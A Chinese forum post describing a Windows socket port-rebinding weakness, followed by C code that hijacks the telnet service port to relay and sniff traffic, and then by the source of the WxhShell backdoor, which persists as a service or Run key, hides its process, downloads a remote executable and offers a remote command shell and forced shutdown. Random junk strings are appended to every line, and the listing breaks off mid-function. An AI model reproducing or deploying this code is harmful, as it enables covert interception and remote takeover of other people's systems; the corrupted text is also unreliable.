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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K>_~zWnc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OMM5p=2Q  
]@G$ L,3  
  saddr.sin_family = AF_INET; 552U~t  
)h>H}wDs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )i$:iI >k  
D$&LCW#x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /jB 0  
iFBH;O_~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /'<Qk'   
4n 9c  
  这意味着什么?意味着可以进行如下的攻击: qbZY[Q+F  
CG397Y^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]\ DIJ>JZ  
M>m+VsJV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fx#Krr @  
R&P}\cf8T  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ao}J   
)/4xR]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +@5@`"Jry  
T:?01?m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 FM=- ^l,  
Ce~ a(J|"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %<?U`o@*  
hY5tBL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  L4 )  
1nAAs;`'  
  #include 23_\UTM}1  
  #include miv)R  
  #include  FKpyD  
  #include    ^PrG5|,s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *v6 j7<H  
  int main() r@v_hc  
  { YI!@ ,t  
  WORD wVersionRequested; 9@{=2 k  
  DWORD ret; _4lhwKYU  
  WSADATA wsaData; !%,k]m'  
  BOOL val; Fmo^ ?~b  
  SOCKADDR_IN saddr; wz1fl#WU  
  SOCKADDR_IN scaddr; ^\Gukkmh}  
  int err; (w/)u  
  SOCKET s; :0o,pndU  
  SOCKET sc; Sn~h[s_(  
  int caddsize; sY*iRq  
  HANDLE mt; ]Ac&h aAP  
  DWORD tid;   Pi&8!e<  
  wVersionRequested = MAKEWORD( 2, 2 ); GDBxciv  
  err = WSAStartup( wVersionRequested, &wsaData ); 3g''j7  
  if ( err != 0 ) { =, WW#tD  
  printf("error!WSAStartup failed!\n"); ?jy6%Y#,i  
  return -1; F?EAIL  
  } =xX)2h  
  saddr.sin_family = AF_INET; ![}q9aeT  
   }_GI%+t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 < X&{6xu  
} 0^wJs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z<M?_<3  
  saddr.sin_port = htons(23); jJU9~5i?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B$)&;Q  
  { B!iz=+RNC1  
  printf("error!socket failed!\n"); ) HPe}(ypt  
  return -1; ^Ox|q_E w}  
  } L kA_M'G  
  val = TRUE; QT[yw6Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cq-UVk"Gl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :^92B?q  
  { G zw $M  
  printf("error!setsockopt failed!\n"); T#:n7$M|?A  
  return -1; 2S#|[wq(  
  } u U;]/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +,$ SZO]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D1g .Fek5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b,MzHx=im  
),53(=/hl  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D @bnm s  
  { i *9Bu;  
  ret=GetLastError(); i{.%4tA4  
  printf("error!bind failed!\n"); Qe,aIh  
  return -1; 6'YsSde".  
  } $<QOMfY>  
  listen(s,2); fAHf}j  
  while(1) {T2=bK~  
  { hantGw |  
  caddsize = sizeof(scaddr); 0Xx&Z8E  
  //接受连接请求 KM o]J1o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kH9P(`;Vq  
  if(sc!=INVALID_SOCKET) .*_uXQ  
  { Tu*"+*r>s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2zQ62t}  
  if(mt==NULL) V\4zK$]  
  { ` 0}z ;&:  
  printf("Thread Creat Failed!\n"); !`$xN~_  
  break; [n!5!/g>j  
  } XI"8d.VR  
  } K[/sVaPZ  
  CloseHandle(mt); [8OQ5}do/  
  } 3|qT.QR`Z  
  closesocket(s); hCvK2Xu   
  WSACleanup(); R3,O;9i  
  return 0; dnXre*rhz  
  }   `N.^+Mvx-  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~[H+,+XLY+  
  { Fu;\t 0  
  SOCKET ss = (SOCKET)lpParam; 7%g8&d  
  SOCKET sc; ~n<U8cm O  
  unsigned char buf[4096]; ~E J+<[/  
  SOCKADDR_IN saddr; We51s^(  
  long num; qS.TVNZ  
  DWORD val; 34e> R?J  
  DWORD ret; E!_mXjlPc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +T|M U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >3\($<YDZM  
  saddr.sin_family = AF_INET; vC1D}=Fp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); FWu[{X;  
  saddr.sin_port = htons(23); T|fmO<e*n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7F!(60xY  
  { =mWr8p-H  
  printf("error!socket failed!\n"); 40ZHDtIu<  
  return -1; QhqXd  
  } W7 iml|WV0  
  val = 100; +q NX/F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BXx0Z %e.3  
  { t!S ja  
  ret = GetLastError(); Q3OGU}F  
  return -1; w,/&oe5M+  
  } E` O@UW@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9]E;en NQ  
  { vy&< O  
  ret = GetLastError(); H,I k&{@j  
  return -1; F[HMX4  
  } rQ+2 -|#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8;vpa*  
  { o fw0_)!Q  
  printf("error!socket connect failed!\n"); O wJZ?j& )  
  closesocket(sc); miCW(mbO8  
  closesocket(ss); xP+HdA2X  
  return -1; eq<giHJM  
  } 72;4  
  while(1) A"$UU6Z4  
  { Aqp$JM >  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FdZG%N>Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9 f+S-!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ta 0Ln  
  num = recv(ss,buf,4096,0); 4PsJs<u  
  if(num>0) RXZ}aX[h  
  send(sc,buf,num,0); n:i?4'-}  
  else if(num==0) XX])B%*  
  break; =^L?Sgg  
  num = recv(sc,buf,4096,0); (ZI11[e{  
  if(num>0) ^.]]0Rp&  
  send(ss,buf,num,0); Fy!-1N9|l  
  else if(num==0) gXzp$#  
  break; :fW\!o 8Z2  
  } c/bIt  
  closesocket(ss); d 6$,N|  
  closesocket(sc); 4Z"JC9As  
  return 0 ; vi :IO  
  } Ev'Bm Dk  
,cg%t9  
fsr0E=nV  
========================================================== dDeImSeV  
M:*^k  
下边附上一个代码,,WXhSHELL ;K+'J0  
a*fUMhIi  
========================================================== TGe)%jZ  
fQ@k$W\  
#include "stdafx.h" Xgs 31#K  
K.{:H4_  
#include <stdio.h> &q?A)R  
#include <string.h> liuF;*  
#include <windows.h> 68pB*(i  
#include <winsock2.h> "N|gU;~W  
#include <winsvc.h> $2?10}mrx  
#include <urlmon.h> \@ j YY~  
$u`v k|\R  
#pragma comment (lib, "Ws2_32.lib") 4z$}e-  
#pragma comment (lib, "urlmon.lib") 9*"Ae0ok1  
YH%aPsi  
#define MAX_USER   100 // 最大客户端连接数 T9,T'y>BD  
#define BUF_SOCK   200 // sock buffer oK!W<#  
#define KEY_BUFF   255 // 输入 buffer @fML.AT  
-5_[m@Vr  
#define REBOOT     0   // 重启 |KM<\v(A{  
#define SHUTDOWN   1   // 关机 p? q~.YY  
R>05MhA+  
#define DEF_PORT   5000 // 监听端口 qit D{;  
2d`:lk%\  
#define REG_LEN     16   // 注册表键长度 N=`xoF  
#define SVC_LEN     80   // NT服务名长度 AZi|85rN  
>We:g Kxr  
// 从dll定义API b<N962 q$q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H+VKWGmfG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T<\!7 RnLc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G31??L:<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _ zh>q4M  
.%iJin"  
// wxhshell配置信息 Xw|t.0  
struct WSCFG { ~gjREl,+D#  
  int ws_port;         // 监听端口 H /kSFf{  
  char ws_passstr[REG_LEN]; // 口令 Ai 9UB=[R  
  int ws_autoins;       // 安装标记, 1=yes 0=no =h#3D?b0n  
  char ws_regname[REG_LEN]; // 注册表键名 bkZ~O=uv$-  
  char ws_svcname[REG_LEN]; // 服务名 )kq3q5*_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )7H s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U!0 Qf7D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g7-=kmr|V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *t,J4c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?2#v`Z=L;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K1F,M9 0]  
!E0zj9 [ R  
}; -}h+hS50F  
vw'`t6  
// default Wxhshell configuration ?-"%%#  
struct WSCFG wscfg={DEF_PORT, axRzn:f  
    "xuhuanlingzhe", 7:Jyu/*]  
    1, -]uN16\ F  
    "Wxhshell", eTV%+  
    "Wxhshell", Mk*&CNo3  
            "WxhShell Service", Zv`j+b  
    "Wrsky Windows CmdShell Service", +&w=*IAKZ  
    "Please Input Your Password: ", jf_0IE  
  1, e2SU)Tr%b  
  "http://www.wrsky.com/wxhshell.exe", |+^-b}0  
  "Wxhshell.exe" fCA/   
    }; xKKR'v:o\  
T%%+v#+  
// 消息定义模块 E>BP b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f-V8/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b :Knc$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0NN{2"M$p  
char *msg_ws_ext="\n\rExit."; Bhy:" r%#  
char *msg_ws_end="\n\rQuit."; $9}z^sGIM  
char *msg_ws_boot="\n\rReboot..."; P&ig.Og*  
char *msg_ws_poff="\n\rShutdown..."; ?H c~ 3  
char *msg_ws_down="\n\rSave to "; d" "GG/  
IQZBH2R  
char *msg_ws_err="\n\rErr!"; ]aqHk  
char *msg_ws_ok="\n\rOK!"; Qo4+=^(  
k{fCU%  
char ExeFile[MAX_PATH]; z)Y<@2V*C  
int nUser = 0; &IQp&  
HANDLE handles[MAX_USER]; pP4i0mO{Dv  
int OsIsNt; N@M(Iw  
sGf\!w  
SERVICE_STATUS       serviceStatus; JY\8^}'9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P(_wT:8C?  
FN#6pM']|  
// 函数声明 T:$zNX<f  
int Install(void); *3yeMxa  
int Uninstall(void); "%c\i-&t  
int DownloadFile(char *sURL, SOCKET wsh); k~(j   
int Boot(int flag); I[~EQ {Iz  
void HideProc(void); Y4%Bx8  
int GetOsVer(void); +DWmutL  
int Wxhshell(SOCKET wsl); B%v2)+?@  
void TalkWithClient(void *cs); ?G5JAG`  
int CmdShell(SOCKET sock); .b4_O CGg  
int StartFromService(void); 9.KOrg5}L  
int StartWxhshell(LPSTR lpCmdLine); :qV}v2  
;CU<\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *0 ;DCUv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x*H4o{o0  
\haJe~  
// 数据结构和表定义 FtUOgL)|  
SERVICE_TABLE_ENTRY DispatchTable[] = &S}i)Nu6J  
{ TzXivE@mm  
{wscfg.ws_svcname, NTServiceMain}, U&fOsx?"  
{NULL, NULL} U/ncD F%C  
}; cxTP4\T\E  
rz]0i@ehv'  
// 自我安装 x?J- {6k  
int Install(void) 't$(Ruw  
{ IT,TSs/Y  
  char svExeFile[MAX_PATH]; r h*Pl]'3z  
  HKEY key; Md \yXp  
  strcpy(svExeFile,ExeFile); `U4R% qhWA  
 w' E  
// 如果是win9x系统,修改注册表设为自启动 zN(fZT}K5  
if(!OsIsNt) { g)*[W>M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W;]*&P[[   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dbTPY`  
  RegCloseKey(key); ubV|s|J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \*}JdEHB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /znW$yh o  
  RegCloseKey(key); h[D"O6 y  
  return 0; (k9{&mPJ  
    } ]Dm'J%P0}  
  } DnA}!s  
} u>Z0ug6x  
else { 3K2`1+kBVG  
#zC_;u$  
// 如果是NT以上系统,安装为系统服务 6i/x"vl>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~X^L3=!vf  
if (schSCManager!=0) :)v4:&do  
{ V#?GDe}[  
  SC_HANDLE schService = CreateService r;`6ML[5Vx  
  ( ; d1\2H  
  schSCManager, D6,rb 9  
  wscfg.ws_svcname, 4@PH5z  
  wscfg.ws_svcdisp, bk E4{P"  
  SERVICE_ALL_ACCESS, }2Y:#{m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &pS <4  
  SERVICE_AUTO_START, uBLI!N-G  
  SERVICE_ERROR_NORMAL, nB?$W4  
  svExeFile, 7:U^Ki  
  NULL, G#ov2  
  NULL, Cf`s:A5<J  
  NULL, ]/!#:  
  NULL, jX^uNmb  
  NULL 8kQ >M  
  ); Vx@JP93|  
  if (schService!=0)  k%V#{t.  
  { Z~^)B8  
  CloseServiceHandle(schService); .g.v  
  CloseServiceHandle(schSCManager); 'rJkxU{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A4.Q \0  
  strcat(svExeFile,wscfg.ws_svcname); WJ$D]7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7/lXy3B4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T:aYv;#0  
  RegCloseKey(key); c&.>SR')  
  return 0; V`Z-m-V~1  
    } *.wX9g9\  
  } K &m`1f  
  CloseServiceHandle(schSCManager); umrfA  
} Bk&ry)`gD  
} dEU +\NY  
!(PAUW S@  
return 1; NF <|3|  
} 8 /1 sy.R  
Zr,:i MPZ  
// 自我卸载 G2Eke;  
int Uninstall(void) 59:Xu%Hp  
{ 'Z#8]YP`  
  HKEY key; ~"89NVk"  
$pK2H0c  
if(!OsIsNt) { g+oSbC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4S>A}rWz  
  RegDeleteValue(key,wscfg.ws_regname); _p/ _t76s  
  RegCloseKey(key); V|3}~(5=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !6hUTjhW7z  
  RegDeleteValue(key,wscfg.ws_regname); _,:gSDW|  
  RegCloseKey(key); VSa\X~  
  return 0; ?sV0T)uk  
  } )IQa]A  
} A{mv[x-XN  
} BtS#I[-p_  
else { 5q<AMg  
Lu!o!>b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X(Gp3lG  
if (schSCManager!=0) :,03)[u{8  
{ &U%AVD[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?s[ kUv+=  
  if (schService!=0) uc]]zI6  
  { -ju&"L B  
  if(DeleteService(schService)!=0) { 1e.V%!Xk  
  CloseServiceHandle(schService); m,KG}KX  
  CloseServiceHandle(schSCManager); XVcY?_AS#  
  return 0; (LzVWz m  
  } 4{JoeIRyz  
  CloseServiceHandle(schService); :/ ,h)h)|  
  } ehB (?  
  CloseServiceHandle(schSCManager); >ENZ['F  
} XlP q>@4p  
} R{"Kh2q_  
- Te+{  
return 1; SoX\S|}%6[  
} lt\. )Y>4  
F]kn4zr  
// 从指定url下载文件 z97RNT|Y7U  
int DownloadFile(char *sURL, SOCKET wsh) `R@1Sc<*|  
{ Z _W.iBF  
  HRESULT hr; Nv!If$d  
char seps[]= "/"; t]LOBy-Kv  
char *token; 7 lc -  
char *file; g,Z8I;A^  
char myURL[MAX_PATH]; IzPnbnS}  
char myFILE[MAX_PATH]; 2fIHFo\8  
/<7'[x<  
strcpy(myURL,sURL); ?7>G\0G  
  token=strtok(myURL,seps); qKu/~0a/  
  while(token!=NULL) 8D3|}z?  
  { &`+tWL6L  
    file=token; gXZl3  
  token=strtok(NULL,seps); hKo& ZWPq  
  } 57 (bd0@8  
7]se!k,  
GetCurrentDirectory(MAX_PATH,myFILE); r'!L}^n  
strcat(myFILE, "\\"); [\eh$r\   
strcat(myFILE, file); -I dW-9~9  
  send(wsh,myFILE,strlen(myFILE),0); Gf``0F)  
send(wsh,"...",3,0); j4pxu/2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,*_=w^;Rr  
  if(hr==S_OK) V0 70oZ  
return 0; BN??3F8C  
else i+rh&,  
return 1; ]\DZW4?'  
<r 2$k"*:  
} ?wM{NVt#-  
Msj(>U&}+  
// 系统电源模块 Sep/N"7~t  
int Boot(int flag) =^a Ngq  
{ >1luLp/,$  
  HANDLE hToken; klpYtQ  
  TOKEN_PRIVILEGES tkp; })~M}d2LXB  
yR?S]   
  if(OsIsNt) { 44@yQ?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QX`Qnk|Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hb@,fgo!Q  
    tkp.PrivilegeCount = 1; q|N,?f9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~4-:;8a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C8dC_9  
if(flag==REBOOT) { g"b{M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cX~J6vNy5  
  return 0; a6Zg~>vX  
} j _]#Ew\q  
else { r xlKoa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GnTCq_\  
  return 0; Owd{;  
} _#;UXAi  
  } M/<>'%sj  
  else { Zw@=WW[Q`p  
if(flag==REBOOT) { H5MO3DJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2iX57-6Ub  
  return 0; 6l Suzu  
} Rda~Drz  
else { y}5:CZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ULT,>S6r  
  return 0; t[=-4;  
} ^&[Z@*A8#  
} dMw7UJ  
Ec2?'*s   
return 1; :X+!W_xR  
} PCqE9B)l  
#/"?.Z;SSH  
// win9x进程隐藏模块 )h0 3sv  
void HideProc(void) B7QuSo//  
{ $0[t<4K`yn  
#{f%b,.yxt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bX*>Zm   
  if ( hKernel != NULL ) 58]C``u@Y  
  { bf4QW JZD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A!GQ4.~%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k[ZkVwx  
    FreeLibrary(hKernel); hiT&QJB` _  
  } H@|h Nn$@  
/TEE<\"  
return; j'IZetT  
} sa?Ul)L2  
>U7{EfUJdx  
// 获取操作系统版本 2=]Xe#5J=  
int GetOsVer(void) [H4)p ,R  
{ _GW,9s^A  
  OSVERSIONINFO winfo; 'lWgHmE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P >>VBh?  
  GetVersionEx(&winfo); ?GT,Y5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b f j]Q  
  return 1; Kry^ 47"  
  else L9} %tEP  
  return 0; IIh \ d.o  
} Fo.p}j+>  
'nQQqx%v  
// 客户端句柄模块 lnQfpa8j  
int Wxhshell(SOCKET wsl) 9]4W  
{ _Dq, \}  
  SOCKET wsh; cLm|^j/  
  struct sockaddr_in client; ;${_eab ]  
  DWORD myID; pP|LSr Y!  
goje4;  
  while(nUser<MAX_USER) gt \O  
{ wg}rMJoG|  
  int nSize=sizeof(client); 4 Q<c I2|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %=*nJvYS  
  if(wsh==INVALID_SOCKET) return 1; *]K/8MbiF  
o=)["V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :jHDeF.A  
if(handles[nUser]==0) 5fDp"-  
  closesocket(wsh); 'UFPQ  
else a<CJ#B2K  
  nUser++; hd%O\D?  
  } cOoF +hz0O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k [eWhdSw  
>c30kpGg  
  return 0; ;!:@3c  
} q]\GBRp  
0\KDa$ '1k  
// 关闭 socket &6O0h0Vy  
void CloseIt(SOCKET wsh) \Y$@$)   
{ =N^j:t  
closesocket(wsh); U UYx-x  
nUser--; f?BApm  
ExitThread(0); N= G!r  
} qA>C<NL  
MZWicfUy  
// 客户端请求句柄 c`s ]ciC  
void TalkWithClient(void *cs) (yO8G-Z0  
{ 'z$!9ufY,  
2]'cj  
  SOCKET wsh=(SOCKET)cs; +Ua.\1"6  
  char pwd[SVC_LEN]; dw YGhhm  
  char cmd[KEY_BUFF]; 6}JW- sA  
char chr[1]; 8S#TOeQ  
int i,j; S%IhpTSe6  
VlFhfOR6t  
  while (nUser < MAX_USER) { 3R?6{.  
#q9cjEd_7  
if(wscfg.ws_passstr) { .vov ,J!Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,8&ND864v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L g2z `uv  
  //ZeroMemory(pwd,KEY_BUFF); $*qQ/hi  
      i=0; <!a%GI  
  while(i<SVC_LEN) { _%@ri]u{ov  
f\X7h6k8{  
  // 设置超时 ]&_z@Z.i  
  fd_set FdRead; e3=-7FU  
  struct timeval TimeOut; 20`QA u)'  
  FD_ZERO(&FdRead); /#Lm)-%G  
  FD_SET(wsh,&FdRead); Sej(jJX1  
  TimeOut.tv_sec=8; 8T"8C  
  TimeOut.tv_usec=0; @$R^-_m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \rSofn#c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PM8*/4Cu.5  
U}c05GiQw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lt2<3DB  
  pwd=chr[0]; 58[.]f~0  
  if(chr[0]==0xd || chr[0]==0xa) { zOn% \  
  pwd=0; d 6=Z=4w  
  break; <o: O<p@6  
  }  I#U)  
  i++; 7R#$Hm  
    } 2B[I- K s  
'tJ@+(tqw  
  // 如果是非法用户,关闭 socket WKB K)=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2@>#?c7  
} LB/1To  
}~!KjFbs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k.?@qCs[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rOTxD/  
.mvpFdn  
while(1) { Jl@YBzDfF  
8fC 5O  
  ZeroMemory(cmd,KEY_BUFF); D[Kq`  
0}wmBSl  
      // 自动支持客户端 telnet标准   +?ilTU  
  j=0; c^8csQ fG  
  while(j<KEY_BUFF) { KA{ JSi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u iR[V~  
  cmd[j]=chr[0]; zw}Wm4OH  
  if(chr[0]==0xa || chr[0]==0xd) { a]t| /Mq  
  cmd[j]=0; wvPS0]  
  break; ^-g-]?q  
  } 6I-Qq?L[H  
  j++; {33B%5n"  
    } UO}Yr8Z;  
@% .;}tC  
  // 下载文件 _KAg1Ww  
  if(strstr(cmd,"http://")) { Lem:zXj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _.+2sm   
  if(DownloadFile(cmd,wsh)) T3In0LQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H&=fD` Xq  
  else nRh.;G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q4]Qvf>  
  } `Oe"s_O#  
  else { cjc1iciZ  
>{ .|Ng4K  
    switch(cmd[0]) { Fh~ pB>t  
  L%31>)8  
  // 帮助 gbT1d:T  
  case '?': { e6 a]XO^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]z"7v  
    break; -jcgxQH53  
  } QP<vjj%  
  // 安装 "4WwiI9  
  case 'i': { ANlzF& K  
    if(Install()) !d{Ijs'T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UY/qI%#L#,  
    else _&K>fy3t&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !H4C5wDu  
    break; zTW)SX_O  
    } Qkx}A7sK  
  // 卸载 bxvpj  
  case 'r': { uTRFeO>  
    if(Uninstall()) +W^$my)<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +.IncY8C$  
    else 3GM9ZPeN:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Km!~zG7<  
    break; NzG] nsw  
    } *s6(1 S  
  // 显示 wxhshell 所在路径 7Lx =VX#]q  
  case 'p': { lzK,VZ=mM  
    char svExeFile[MAX_PATH]; YTV|]xpR  
    strcpy(svExeFile,"\n\r"); %%^by  
      strcat(svExeFile,ExeFile); llRQxk  
        send(wsh,svExeFile,strlen(svExeFile),0); \!s0H_RJY  
    break; hg+0!DVx  
    } FSA"U9 w<  
  // 重启 aJSBG|IC  
  case 'b': { 9 M!U@>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K%3{a=1  
    if(Boot(REBOOT)) <iN xtD0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \) vI-  
    else { ;)'  
    closesocket(wsh); 'FwNQzzt  
    ExitThread(0); uM@ve(8\  
    } x|U[|i,;  
    break; ;Ff5ooL{  
    } nPj &a  
  // 关机 &0JCZ /e  
  case 'd': { J:G~9~V^  
